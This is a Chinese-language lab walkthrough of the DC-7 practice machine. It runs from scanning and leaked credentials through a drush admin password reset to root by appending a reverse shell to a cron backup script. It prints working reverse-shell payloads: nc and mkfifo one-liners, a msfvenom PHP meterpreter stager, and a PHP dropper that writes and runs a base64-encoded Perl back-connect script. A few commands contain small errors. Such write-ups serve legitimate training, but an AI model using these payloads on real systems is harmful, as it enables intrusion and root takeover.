DC-7入门练习

信息收集

1.扫描主机
查看DC-7的mac地址
在这里插入图片描述

nmap -sP 192.168.1.0/24 -oN nmap.sP

找到目标ip为192.168.1.6在这里插入图片描述

2.扫描端口

nmap -A 192.168.1.6 -p 0-65535 -oN nmap.A

开放80,22端口
在这里插入图片描述

3.收集网站信息

whatweb 192.168.1.6

使用Drupal 8搭建的网站
在这里插入图片描述
我们用kali查找有无drupal 8的漏洞
在这里插入图片描述
最后尝试无果

4.访问80
在这里插入图片描述
根据提示爆破是行不通的
重点看首页的footer部分,也就是网页的最下方的黑色区域,靶机的除了"Powered by Drupal",还多了一个"@DC7USER"。
5.Google搜索找到路线
在这里插入图片描述
最终到了项目源码,我们可以以做一个代码审计,但是发现有一个straf.db项目(github可以下载):https://github.com/Dc7User/staffdb,拆开来看是staff db,也就是员工数据库,说不定是有员工的账号、密码:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
果不其然附代码如下:

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

5.登陆员工账号:
在网站尝试登陆发现不对,此时我们突然想到网站22端口开放可以尝试连接:

 ssh [email protected]

在这里插入图片描述

提权1

1.查看目录文件

查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。在这里插入图片描述
思考:因为这里有个root权限脚本,如果我们可以修改这个脚本就可以,进行提权

cd /opt/scripts/backups.sh
ls -ll
cat backups.sh

来到backup.sh目录下,查看脚本权限发现只有root,和www-data用户有执行修改权
思考:只要获得网站shell,即可提权

在这里插入图片描述

仔细查看脚本backups.sh:
发现有俩个命令drush,gpg
在这里插入图片描述
百度了一下:
gpg是一个密码加密工具
drush是用来管理drupal站点的shell,就是可以对任意用户密码进行修改

drush user-password admin --password="666"

2.查找用户名
drush这个命令需要一个用户名我们进入网站点击登录发现有一个重置密码项,需要提供用户名,我们尝试admin发现正确。
在这里插入图片描述
在这里插入图片描述
3.修改admin用户密码

drush user-password admin --password="123.com"

在这里插入图片描述
翻译一下报错:
命令user-password需要更高的引导级别才能运行——您将需要从一个更[错误]的地方调用drush

功能Drupal环境来运行此命令。无法执行drush命令“用户密码管理

简单说,我们执行命令的地方(路径)不对;
思考:从backups.sh中我们看到,使用drush备份数据库的时候,先切换目录至/var/www/html,所以我们也先切换目录至/var/www/html

cd /var/www/html

成功修改
在这里插入图片描述
4.登录网站查看
在这里插入图片描述

漏洞利用(Drupal 8文件上传漏洞)反弹shell

下载php模块
在这里插入图片描述
添加模块(上一步下载的压缩包)
在这里插入图片描述
添加成功
在这里插入图片描述
激活模块
在这里插入图片描述
编写php查看是否安装成功
在这里插入图片描述
在这里插入图片描述

反弹shell(提供了3种方法)

方法一:写入一句话木马
在这里插入图片描述
中国蚁剑连接:
在这里插入图片描述
打开控制台反弹shell:

nc -e  /bin/bash 6666

在这里插入图片描述
kaili开启端口监听

nc lvvp 6666

在这里插入图片描述

进入交互模式

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
方法二:msf反弹shell代码

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.133 LPORT=4444 R > DC7_shell.php

复制代码写入php中

/*<?php /**/ error_reporting(0); $ip = '10.10.10.133'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eva

进入msfconsole

msfconsole
use exploit/multi/handler
set lhost 192.168.1.12
set lport 6666
run

方法三:php反弹代码

<?php
 
function which($pr) {
 
$path = execute("which $pr");
 
return ($path ? $path : $pr);
 
}
 
function execute($cfe) {
 
$res = '';
 
if ($cfe) {
 
if(function_exists('exec')) {
 
@exec($cfe,$res);
 
$res = join("\n",$res);
 
} elseif(function_exists('shell_exec')) {
 
$res = @shell_exec($cfe);
 
} elseif(function_exists('system')) {
 
@ob_start();
 
@system($cfe);
 
$res = @ob_get_contents();
 
@ob_end_clean();
 
} elseif(function_exists('passthru')) {
 
@ob_start();
 
@passthru($cfe);
 
$res = @ob_get_contents();
 
@ob_end_clean();
 
} elseif(@is_resource($f = @popen($cfe,"r"))) {
 
$res = '';
 
while(!@feof($f)) {
 
$res .= @fread($f,1024);
 
}
 
@pclose($f);
 
}
 
}
 
return $res;
 
}
 
function cf($fname,$text){
 
if($fp=@fopen($fname,'w')) {
 
@fputs($fp,@base64_decode($text));
 
@fclose($fp);
 
}
 
}
 
$yourip = "192.168.1.12";
 
$yourport = '6666';
 
$usedb = array('perl'=>'perl','c'=>'c');
 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
 
cf('/tmp/.bc',$back_connect);
 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
 
?>

开启端口后运行即可反弹shell

最后提权:

写入反弹shell代码到backups.sh脚本文件中,并在kali监听777端口,等待计划任务执行,稍微等待后成功getshell

在kali监听7777端口:
在这里插入图片描述
写入shell

cd /opt/scripts

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.12 7777 >/tmp/f" >> backups.sh

 

在这里插入图片描述

等待计划任务执行就可提权:
在这里插入图片描述
提权成功
在这里插入图片描述

DC靶机系列入门详解,关注查看下一篇

猜你喜欢

转载自blog.csdn.net/Mr_helloword/article/details/107490113
今日推荐